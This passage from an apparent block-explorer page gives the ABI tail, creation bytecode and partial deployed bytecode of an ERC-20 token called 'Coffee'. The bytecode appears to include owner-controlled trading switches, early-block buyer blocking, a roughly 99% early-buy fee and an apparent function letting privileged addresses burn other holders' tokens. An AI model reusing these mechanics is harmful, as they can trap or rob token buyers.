int256"}],"name":"updateSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526000600c819055600d556010805463ffffffff191663010000011790553480156200002e57600080fd5b5060405180604001604052806006815260200165436f6666656560d01b81525060405180604001604052806006815260200165434f4646454560d01b81525081600390816200007e9190620008ce565b5060026200008d8282620008ce565b5050506000620000a2620004c660201b60201c565b600580546001600160a01b0319166001600160a01b0383169081179091556040519192509060009060008051602062003e00833981519152908290a350600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b815290513391839163c45a0155916004808201926020929091908290030181865afa15801562000148573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200016e91906200099a565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001bc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001e291906200099a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000230573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025691906200099a565b600780546001600160a01b0319166001600160a01b0392909216918217905562000282906001620004ca565b6007546200029b906001600160a01b0316600162000536565b6b06765c793fa10079d00000006064620002b7826002620009e2565b620002c3919062000a02565b601955612710620002d6826005620009e2565b620002e2919062000a02565b600a556064620002f4826002620009e2565b62000300919062000a02565b601755606462000312826002620009e2565b6200031e919062000a02565b601855600980546001600160a01b0319908116734eea5e2945f68b43868626518268ef21fcc3b93017909155600880549091167352fdca3278f31f8f03cb1ef526c910f3e5c82508179055600a601f8190556020819055600060228190556021819055601460248190556025556027819055602681905590620003a2818362000a25565b620003ae919062000a25565b620003ba919062000a25565b601e55602754602554602454602654620003d5919062000a25565b620003e1919062000a25565b620003ed919062000a25565b60235560085462000409906001600160a01b0316600162000599565b60095462000422906001600160a01b0316600162000599565b6200042f82600162000599565b6200043e61dead600162000599565b6200044b30600162000599565b60085462000464906001600160a01b0316600162000536565b6009546200047d906001600160a01b0316600162000536565b6200048a82600162000536565b6200049961dead600162000536565b620004a630600162000536565b620004b18262000647565b620004bd828262000744565b50505062000a3b565b3390565b6001600160a01b0382166000908152601460205260409020805460ff1916821515179055620004fa828262000536565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b6001600160a01b038216600081815260166020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b6005546001600160a01b03163314620005e85760405162461bcd60e51b8152602060048201819052602482015260008051602062003de083398151915260448201526064015b60405180910390fd5b6001600160a01b038216600081815260156020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b03163314620006925760405162461bcd60e51b8152602060048201819052602482015260008051602062003de08339815191526044820152606401620005df565b6001600160a01b038116620006f95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401620005df565b6005546040516001600160a01b0380841692169060008051602062003e0083398151915290600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0382166200079c5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401620005df565b8060046000828254620007b0919062000a25565b90915550506001600160a01b03821660009081526020819052604081208054839290620007df90849062000a25565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200085457607f821691505b6020821081036200087557634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620008c957600081815260208120601f850160051c81016020861015620008a45750805b601f850160051c820191505b81811015620008c557828155600101620008b0565b5050505b505050565b81516001600160401b03811115620008ea57620008ea62000829565b6200090281620008fb84546200083f565b846200087b565b602080601f8311600181146200093a5760008415620009215750858301515b600019600386901b1c1916600185901b178555620008c5565b600085815260208120601f198616915b828110156200096b578886015182559484019460019091019084016200094a565b50858210156200098a5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600060208284031215620009ad57600080fd5b81516001600160a01b0381168114620009c557600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620009fc57620009fc620009cc565b92915050565b60008262000a2057634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620009fc57620009fc620009cc565b6133958062000a4b6000396000f3fe6080604052600436106103c75760003560e01c80638a8c523c116101f2578063c876d0b91161010d578063e086e5ec116100a0578063e884f2601161006f578063e884f26014610ad0578063f2fde38b14610ae5578063fae9a72914610b05578063fd35d1d614610b2557600080fd5b8063e086e5ec14610a6f578063e2f4560514610a84578063e611bfdb14610a9a578063e7ad9fcd14610ab057600080fd5b8063d4384318116100dc578063d4384318146109dd578063dbbfff63146109f3578063dc3f0d0f14610a09578063dd62ed3e14610a2957600080fd5b8063c876d0b914610970578063cd51e6d414610991578063d0a39814146109a7578063d257b34f146109bd57600080fd5b8063aacebbe311610185578063c024666811610154578063c0246668146108e0578063c18bc19514610900578063c424134c14610920578063c5b45ec01461095057600080fd5b8063aacebbe314610873578063abe43b1b14610893578063b9e93700146108aa578063bbc0c742146108c057600080fd5b80639fccce32116101c15780639fccce3214610807578063a457c2d71461081d578063a9059cbb1461083d578063aa4bde281461085d57600080fd5b80638a8c523c1461079f5780638da5cb5b146107b457806395d89b41146107d25780639a7a23d6146107e757600080fd5b80634a62bb65116102e2578063715018a61161027557806376c702bf1161024457806376c702bf1461074757806382cab1301461075d578063868f0a741461077357806388e765ff1461078957600080fd5b8063715018a6146106e7578063737952e6146106fc578063751039fc146107125780637571336a1461072757600080fd5b80636b0a894c116102b15780636b0a894c146106625780636ddd17131461067857806370a082311461069757806370b5aa7f146106b757600080fd5b80634a62bb65146105ec57806359d24b8e146106065780635c457eae1461063657806366d602ae1461064c57600080fd5b806323b872dd1161035a578063313ce56711610329578063313ce5671461057a578063395093511461059657806343776499146105b657806349bd5a5e146105cc57600080fd5b806323b872dd146104ed5780632bc4797d1461050d5780632be32b611461053a5780632e6ed7ef1461055a57600080fd5b806318160ddd1161039657806318160ddd1461048a5780631816467f1461049f5780631a8145bb146104c15780631f3fed8f146104d757600080fd5b806306fdde03146103d357806308aa2695146103fe578063095ea7b3146104225780631694505e1461045257600080fd5b366103ce57005b600080fd5b3480156103df57600080fd5b506103e8610b3b565b6040516103f59190612f45565b60405180910390f35b34801561040a57600080fd5b50610414600e5481565b6040519081526020016103f5565b34801561042e57600080fd5b5061044261043d366004612fab565b610bcd565b60405190151581526020016103f5565b34801561045e57600080fd5b50600654610472906001600160a01b031681565b6040516001600160a01b0390911681526020016103f5565b34801561049657600080fd5b50600454610414565b3480156104ab57600080fd5b506104bf6104ba366004612fd7565b610be4565b005b3480156104cd57600080fd5b50610414601c5481565b3480156104e357600080fd5b50610414601a5481565b3480156104f957600080fd5b50610442610508366004612ff4565b610c8f565b34801561051957600080fd5b50610414610528366004612fd7565b60126020526000908152604090205481565b34801561054657600080fd5b506104bf610555366004613035565b610d3b565b34801561056657600080fd5b506104bf61057536600461304e565b610e48565b34801561058657600080fd5b50604051601281526020016103f5565b3480156105a257600080fd5b506104426105b1366004612fab565b610eeb565b3480156105c257600080fd5b5061041460205481565b3480156105d857600080fd5b50600754610472906001600160a01b031681565b3480156105f857600080fd5b506010546104429060ff1681565b34801561061257600080fd5b50610442610621366004612fd7565b60136020526000908152604090205460ff1681565b34801561064257600080fd5b5061041460225481565b34801561065857600080fd5b5061041460185481565b34801561066e57600080fd5b50610414600f5481565b34801561068457600080fd5b5060105461044290610100900460ff1681565b3480156106a357600080fd5b506104146106b2366004612fd7565b610f27565b3480156106c357600080fd5b506104426106d2366004612fd7565b60146020526000908152604090205460ff1681565b3480156106f357600080fd5b506104bf610f42565b34801561070857600080fd5b5061041460245481565b34801561071e57600080fd5b506104bf610fb6565b34801561073357600080fd5b506104bf610742366004613080565b61101d565b34801561075357600080fd5b50610414601f5481565b34801561076957600080fd5b5061041460275481565b34801561077f57600080fd5b5061041460255481565b34801561079557600080fd5b5061041460175481565b3480156107ab57600080fd5b506104bf6110e5565b3480156107c057600080fd5b506005546001600160a01b0316610472565b3480156107de57600080fd5b506103e86111a8565b3480156107f357600080fd5b506104bf610802366004613080565b6111b7565b34801561081357600080fd5b50610414601b5481565b34801561082957600080fd5b50610442610838366004612fab565b6112ab565b34801561084957600080fd5b50610442610858366004612fab565b611344565b34801561086957600080fd5b5061041460195481565b34801561087f57600080fd5b506104bf61088e366004612fd7565b611351565b34801561089f57600080fd5b50600c544310610442565b3480156108b657600080fd5b50610414601e5481565b3480156108cc57600080fd5b506010546104429062010000900460ff1681565b3480156108ec57600080fd5b506104bf6108fb366004613080565b6113ff565b34801561090c57600080fd5b506104bf61091b366004613035565b611488565b34801561092c57600080fd5b5061044261093b366004612fd7565b60166020526000908152604090205460ff1681565b34801561095c57600080fd5b506104bf61096b366004612fd7565b611591565b34801561097c57600080fd5b50601054610442906301000000900460ff1681565b34801561099d57600080fd5b50610414600d5481565b3480156109b357600080fd5b5061041460235481565b3480156109c957600080fd5b506104bf6109d8366004613035565b6115dc565b3480156109e957600080fd5b5061041460265481565b3480156109ff57600080fd5b50610414601d5481565b348015610a1557600080fd5b506104bf610a24366004613035565b611727565b348015610a3557600080fd5b50610414610a443660046130be565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610a7b57600080fd5b506104bf61182e565b348015610a9057600080fd5b50610414600a5481565b348015610aa657600080fd5b50610414600c5481565b348015610abc57600080fd5b506104bf610acb36600461304e565b61189a565b348015610adc57600080fd5b506104bf61193a565b348015610af157600080fd5b506104bf610b00366004612fd7565b611973565b348015610b1157600080fd5b506104bf610b203660046130ec565b611a5e565b348015610b3157600080fd5b5061041460215481565b606060038054610b4a90613121565b80601f0160208091040260200160405190810160405280929190818152602001828054610b7690613121565b8015610bc35780601f10610b9857610100808354040283529160200191610bc3565b820191906000526020600020905b815481529060010190602001808311610ba657829003601f168201915b5050505050905090565b6000610bda338484611aab565b5060015b92915050565b6005546001600160a01b03163314610c175760405162461bcd60e51b8152600401610c0e9061315b565b60405180910390fd5b6001600160a01b038116610c6d5760405162461bcd60e51b815260206004820152601e60248201527f5f64657657616c6c657420616464726573732063616e6e6f74206265203000006044820152606401610c0e565b600980546001600160a01b0319166001600160a01b0392909216919091179055565b6000610c9c848484611bd0565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610d215760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610c0e565b610d2e8533858403611aab565b60019150505b9392505050565b6005546001600160a01b03163314610d655760405162461bcd60e51b8152600401610c0e9061315b565b670de0b6b3a76400006103e8610d7a60045490565b610d859060026131a6565b610d8f91906131bd565b610d9991906131bd565b811015610dfa5760405162461bcd60e51b815260206004820152602960248201527f43616e6e6f7420736574206d61782062757920616d6f756e74206c6f776572206044820152687468616e20302e322560b81b6064820152608401610c0e565b610e0c81670de0b6b3a76400006131a6565b60178190556040519081527ffcc0366804aaa8dbf88a2924100c733b70dec8445957a5d5f8ff92898de41009906020015b60405180910390a150565b6005546001600160a01b03163314610e725760405162461bcd60e51b8152600401610c0e9061315b565b6021839055601f849055602082905560228190558082610e9285876131df565b610e9c91906131df565b610ea691906131df565b601e81905560031015610ee55760405162461bcd60e51b8152602060048201526007602482015266019929036b0bc160cd1b6044820152606401610c0e565b50505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610bda918590610f229086906131df565b611aab565b6001600160a01b031660009081526020819052604090205490565b6005546001600160a01b03163314610f6c5760405162461bcd60e51b8152600401610c0e9061315b565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610fe05760405162461bcd60e51b8152600401610c0e9061315b565b6004546019556004546017556004546018556040517fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c90600090a1565b6005546001600160a01b031633146110475760405162461bcd60e51b8152600401610c0e9061315b565b806110ba576007546001600160a01b03908116908316036110ba5760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f742072656d6f766520756e697377617020706169722066726f6d2060448201526636b0bc103a3c3760c91b6064820152608401610c0e565b6001600160a01b03919091166000908152601660205260409020805460ff1916911515919091179055565b6005546001600160a01b0316331461110f5760405162461bcd60e51b8152600401610c0e9061315b565b60105462010000900460ff16156111685760405162461bcd60e51b815260206004820152601760248201527f43616e6e6f74207265656e61626c652074726164696e670000000000000000006044820152606401610c0e565b6010805462ffff0019166201010017905543600d556040517fa56feb2d31b9a7424db0be063fd450863979c9e2382cf5110f869bd1ad361bb790600090a1565b606060028054610b4a90613121565b6005546001600160a01b031633146111e15760405162461bcd60e51b8152600401610c0e9061315b565b6007546001600160a01b03908116908316036112655760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610c0e565b61126f82826127ea565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b3360009081526001602090815260408083206001600160a01b03861684529091528120548281101561132d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610c0e565b61133a3385858403611aab565b5060019392505050565b6000610bda338484611bd0565b6005546001600160a01b0316331461137b5760405162461bcd60e51b8152600401610c0e9061315b565b6001600160a01b0381166113dd5760405162461bcd60e51b8152602060048201526024808201527f5f6d61726b6574696e6757616c6c657420616464726573732063616e6e6f74206044820152630626520360e41b6064820152608401610c0e565b600880546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146114295760405162461bcd60e51b8152600401610c0e9061315b565b6001600160a01b038216600081815260156020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146114b25760405162461bcd60e51b8152600401610c0e9061315b565b670de0b6b3a76400006103e86114c760045490565b6114d29060036131a6565b6114dc91906131bd565b6114e691906131bd565b81101561154a5760405162461bcd60e51b815260206004820152602c60248201527f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f7760448201526b6572207468616e20302e332560a01b6064820152608401610c0e565b61155c81670de0b6b3a76400006131a6565b60198190556040519081527fefc9add9a9b7382de284ef5ad69d8ea863e2680492b21a81948c2d5f04a442bc90602001610e3d565b6005546001600160a01b031633146115bb5760405162461bcd60e51b8152600401610c0e9061315b565b6001600160a01b03166000908152601360205260409020805460ff19169055565b6005546001600160a01b031633146116065760405162461bcd60e51b8152600401610c0e9061315b565b620186a061161360045490565b61161e9060016131a6565b61162891906131bd565b8110156116955760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610c0e565b6103e86116a160045490565b6116ac9060016131a6565b6116b691906131bd565b8111156117225760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171892903a37ba30b61039bab838363c9760611b6064820152608401610c0e565b600a55565b6005546001600160a01b031633146117515760405162461bcd60e51b8152600401610c0e9061315b565b670de0b6b3a76400006103e861176660045490565b6117719060026131a6565b61177b91906131bd565b61178591906131bd565b8110156117e75760405162461bcd60e51b815260206004820152602a60248201527f43616e6e6f7420736574206d61782073656c6c20616d6f756e74206c6f776572604482015269207468616e20302e322560b01b6064820152608401610c0e565b6117f981670de0b6b3a76400006131a6565b60188190556040519081527f53c4eb831d8cfeb750f1c62590d8cd30f4c6f0380d29a05caa09f0d92588560e90602001610e3d565b6005546001600160a01b031633146118585760405162461bcd60e51b8152600401610c0e9061315b565b604051600090339047908381818185875af1925050503d8060008114610ee5576040519150601f19603f3d011682016040523d82523d6000602084013e610ee5565b6005546001600160a01b031633146118c45760405162461bcd60e51b8152600401610c0e9061315b565b602683905560248490556025829055602781905580826118e485876131df565b6118ee91906131df565b6118f891906131df565b602381905560031015610ee55760405162461bcd60e51b815260206004820152600a6024820152693325206d61782066656560b01b6044820152606401610c0e565b6005546001600160a01b031633146119645760405162461bcd60e51b8152600401610c0e9061315b565b6010805463ff00000019169055565b6005546001600160a01b0316331461199d5760405162461bcd60e51b8152600401610c0e9061315b565b6001600160a01b038116611a025760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610c0e565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b30611a6881610f27565b600a541115611a7657600080fd5b611a81848484612818565b15610ee557600b805460ff19166001179055611a9b6128b2565b600b805460ff1916905550505050565b6001600160a01b038316611b0d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610c0e565b6001600160a01b038216611b6e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610c0e565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316611bf65760405162461bcd60e51b8152600401610c0e906131f2565b6001600160a01b038216611c1c5760405162461bcd60e51b8152600401610c0e90613237565b60008111611c6c5760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610c0e565b6001600160a01b0380841660009081526014602090815260408083205493861683526012909152812054429260ff1691901590611ca886610f27565b6010549015915062010000900460ff16611d40576001600160a01b03871660009081526015602052604090205460ff1680611cfb57506001600160a01b03861660009081526015602052604090205460ff165b611d405760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610c0e565b600c5415611dea576001600160a01b03871660009081526013602052604090205460ff161580611d7d57506005546001600160a01b038781169116145b80611d9257506001600160a01b03861661dead145b611dea5760405162461bcd60e51b815260206004820152602360248201527f626f742070726f74656374696f6e206d656368616e69736d20697320656d626560448201526219195960ea1b6064820152608401610c0e565b60105460ff1615612290576001600160a01b038716600090815260166020526040902054600b5460ff918216911615611e2b6005546001600160a01b031690565b6001600160a01b0316896001600160a01b031614158015611e5a57506005546001600160a01b03898116911614155b8015611e6e57506001600160a01b03881615155b8015611e8557506001600160a01b03881661dead14155b8015611eaa57506001600160a01b03891660009081526015602052604090205460ff16155b8015611ecf57506001600160a01b03881660009081526015602052604090205460ff16155b1561203d576010546301000000900460ff161561203d57600b546001600160a01b038a1660009081526014602052604081205460ff9283161592161590818015611f165750825b6006549091506001600160a01b038c8116911614801590611f4557506007546001600160a01b038c8116911614155b1561200857611f5560024361327a565b32600090815260116020526040902054108015611f935750611f7860024361327a565b6001600160a01b038c16600090815260116020526040902054105b611fdf5760405162461bcd60e51b815260206004820152601d60248201527f5f7472616e736665723a2064656c61792077617320656e61626c65642e0000006044820152606401610c0e565b3260009081526011602052604080822043908190556001600160a01b038e168352912055612039565b8015612039576001600160a01b038c16600090815260126020526040902054600e5481118061203657600080fd5b50505b5050505b6001600160a01b03891660009081526014602052604090205460ff16801561207e57506001600160a01b03881660009081526016602052604090205460ff16155b1561214a576017548711156120e65760405162461bcd60e51b815260206004820152602860248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526736b0bc10313abc9760c11b6064820152608401610c0e565b6019546120f289610f27565b6120fc90896131df565b11156121455760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610c0e565b61228d565b8180156121545750805b1561216357600e86905561228d565b6001600160a01b03881660009081526014602052604090205460ff1680156121a457506001600160a01b03891660009081526016602052604090205460ff16155b1561220e576018548711156121455760405162461bcd60e51b815260206004820152602a60248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152691036b0bc1039b2b6361760b11b6064820152608401610c0e565b6001600160a01b03881660009081526016602052604090205460ff1661228d5760195461223a89610f27565b61224490896131df565b111561228d5760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610c0e565b50505b600061229b30610f27565b600a54909150811080159081906122b95750601054610100900460ff165b80156122c85750600b5460ff16155b80156122ed57506001600160a01b03891660009081526014602052604090205460ff16155b801561231257506001600160a01b03891660009081526015602052604090205460ff16155b801561233757506001600160a01b03881660009081526015602052604090205460ff16155b1561235c57600b805460ff191660011790556123516128b2565b600b805460ff191690555b60018480156123685750855b1561238f57831561238f576001600160a01b03891660009081526012602052604090208790555b6001600160a01b038a1660009081526015602052604090205460ff16806123ce57506001600160a01b03891660009081526015602052604090205460ff165b156123d7575060005b600081156127d257600c544310801561240857506001600160a01b038b1660009081526014602052604090205460ff165b801561242d57506001600160a01b038a1660009081526014602052604090205460ff16155b801561243b57506000601e54115b156125bb576001600160a01b038a1660009081526013602052604090205460ff166124db576001600160a01b038a166000908152601360205260408120805460ff19166001908117909155600f8054919290916124999084906131df565b90915550506040516001600160a01b038b1681527f3d71e4a70676213519dc777e6e5b0ac4d021b9d144b673b89d0df519a879a83e9060200160405180910390a15b60646124e88a60636131a6565b6124f291906131bd565b9050601e546021548261250591906131a6565b61250f91906131bd565b601c600082825461252091906131df565b9091555050601e54601f5461253590836131a6565b61253f91906131bd565b601a600082825461255091906131df565b9091555050601e5460205461256590836131a6565b61256f91906131bd565b601b600082825461258091906131df565b9091555050601e5460225461259590836131a6565b61259f91906131bd565b601d60008282546125b091906131df565b909155506127b49050565b6001600160a01b038a1660009081526014602052604090205460ff1680156125e557506000602354115b156126a75760646023548a6125fa91906131a6565b61260491906131bd565b90506023546026548261261791906131a6565b61262191906131bd565b601c600082825461263291906131df565b909155505060235460245461264790836131a6565b61265191906131bd565b601a600082825461266291906131df565b909155505060235460255461267790836131a6565b61268191906131bd565b601b600082825461269291906131df565b909155505060235460275461259590836131a6565b6001600160a01b038b1660009081526014602052604090205460ff1680156126d157506000601e54115b156127b4576064601e548a6126e691906131a6565b6126f091906131bd565b9050601e546021548261270391906131a6565b61270d91906131bd565b601c600082825461271e91906131df565b9091555050601e54601f5461273390836131a6565b61273d91906131bd565b601a600082825461274e91906131df565b9091555050601e5460205461276390836131a6565b61276d91906131bd565b601b600082825461277e91906131df565b9091555050601e5460225461279390836131a6565b61279d91906131bd565b601d60008282546127ae91906131df565b90915550505b80156127c5576127c58b3083612ab8565b6127cf818a61327a565b98505b6127dd8b8b8b612ab8565b5050505050505050505050565b6001600160a01b0382166000908152601460205260409020805460ff191682151517905561126f8282612c0d565b3360008181526015602052604081205490919060ff163083821561287257600061284183610f27565b1115612867578660000361285957600e869055612863565b6128638888612c70565b5060005b9350610d3492505050565b6000601d5411801561288e5750601d5461288b83610f27565b10155b1561289f5761289f84601d54612c70565b50506000601d555060019150610d349050565b6000601d541180156128ce5750601d546128cb30610f27565b10155b156128df576128df30601d54612c70565b6000601d8190556128ef30610f27565b90506000601b54601a54601c5461290691906131df565b61291091906131df565b905081158061291d575080155b15612926575050565b600a8054612933916131a6565b82111561294a57600a8054612947916131a6565b91505b6000600282601c548561295d91906131a6565b61296791906131bd565b61297191906131bd565b9050612985612980828561327a565b612d39565b601c544790819060009061299b906002906131bd565b6129a5908661327a565b601a546129b290856131a6565b6129bc91906131bd565b905060006002601c546129cf91906131bd565b6129d9908761327a565b601b546129e690866131a6565b6129f091906131bd565b90506129fc81836131df565b612a06908461327a565b6000601c819055601a819055601b819055601d5592508415801590612a2b5750600083115b15612a3a57612a3a8584612e93565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015612a74573d6000803e3d6000fd5b506008546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015612aae573d6000803e3d6000fd5b5050505050505050565b6001600160a01b038316612ade5760405162461bcd60e51b8152600401610c0e906131f2565b6001600160a01b038216612b045760405162461bcd60e51b8152600401610c0e90613237565b6001600160a01b03831660009081526020819052604090205481811015612b7c5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610c0e565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290612bb39084906131df565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612bff91815260200190565b60405180910390a350505050565b6001600160a01b038216600081815260166020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b6001600160a01b038216612ca05760405162461bcd60e51b81526020600482015260006024820152604401610c0e565b6001600160a01b03821660009081526020819052604090205481811015612ce35760405162461bcd60e51b81526020600482015260006024820152604401610c0e565b6001600160a01b0383166000818152602081815260408083208686039055600480548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101611bc3565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612d6e57612d6e61328d565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612dc7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612deb91906132a3565b81600181518110612dfe57612dfe61328d565b6001600160a01b039283166020918202929092010152600654612e249130911684611aab565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790612e5d9085906000908690309042906004016132c0565b600060405180830381600087803b158015612e7757600080fd5b505af1158015612e8b573d6000803e3d6000fd5b505050505050565b600654612eab9030906001600160a01b031684611aab565b60065460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015612f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612f3e9190613331565b5050505050565b600060208083528351808285015260005b81811015612f7257858101830151858201604001528201612f56565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114612fa857600080fd5b50565b60008060408385031215612fbe57600080fd5b8235612fc981612f93565b946020939093013593505050565b600060208284031215612fe957600080fd5b8135610d3481612f93565b60008060006060848603121561300957600080fd5b833561301481612f93565b9250602084013561302481612f93565b929592945050506040919091013590565b60006020828403121561304757600080fd5b5035919050565b6000806000806080858703121561306457600080fd5b5050823594602084013594506040840135936060013592509050565b6000806040838503121561309357600080fd5b823561309e81612f93565b9150602083013580151581146130b357600080fd5b809150509250929050565b600080604083850312156130d157600080fd5b82356130dc81612f93565b915060208301356130b381612f93565b60008060006060848603121561310157600080fd5b833561310c81612f93565b95602085013595506040909401359392505050565b600181811c9082168061313557607f821691505b60208210810361315557634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610bde57610bde613190565b6000826131da57634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610bde57610bde613190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b81810381811115610bde57610bde613190565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156132b557600080fd5b8151610d3481612f93565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156133105784516001600160a01b0316835293830193918301916001016132eb565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561334657600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220738c90393e6b8b6b6ed751b82b563e6ab19ca7fb586605b368982e1676e62d4b64736f6c634300081200334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65728be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0
Deployed Bytecode
0x6080604052600436106103c75760003560e01c80638a8c523c116101f2578063c876d0b91161010d578063e086e5ec116100a0578063e884f2601161006f578063e884f26014610ad0578063f2fde38b14610ae5578063fae9a72914610b05578063fd35d1d614610b2557600080fd5b8063e086e5ec14610a6f578063e2f4560514610a84578063e611bfdb14610a9a578063e7ad9fcd14610ab057600080fd5b8063d4384318116100dc578063d4384318146109dd578063dbbfff63146109f3578063dc3f0d0f14610a09578063dd62ed3e14610a2957600080fd5b8063c876d0b914610970578063cd51e6d414610991578063d0a39814146109a7578063d257b34f146109bd57600080fd5b8063aacebbe311610185578063c024666811610154578063c0246668146108e0578063c18bc19514610900578063c424134c14610920578063c5b45ec01461095057600080fd5b8063aacebbe314610873578063abe43b1b14610893578063b9e93700146108aa578063bbc0c742146108c057600080fd5b80639fccce32116101c15780639fccce3214610807578063a457c2d71461081d578063a9059cbb1461083d578063aa4bde281461085d57600080fd5b80638a8c523c1461079f5780638da5cb5b146107b457806395d89b41146107d25780639a7a23d6146107e757600080fd5b80634a62bb65116102e2578063715018a61161027557806376c702bf1161024457806376c702bf1461074757806382cab130146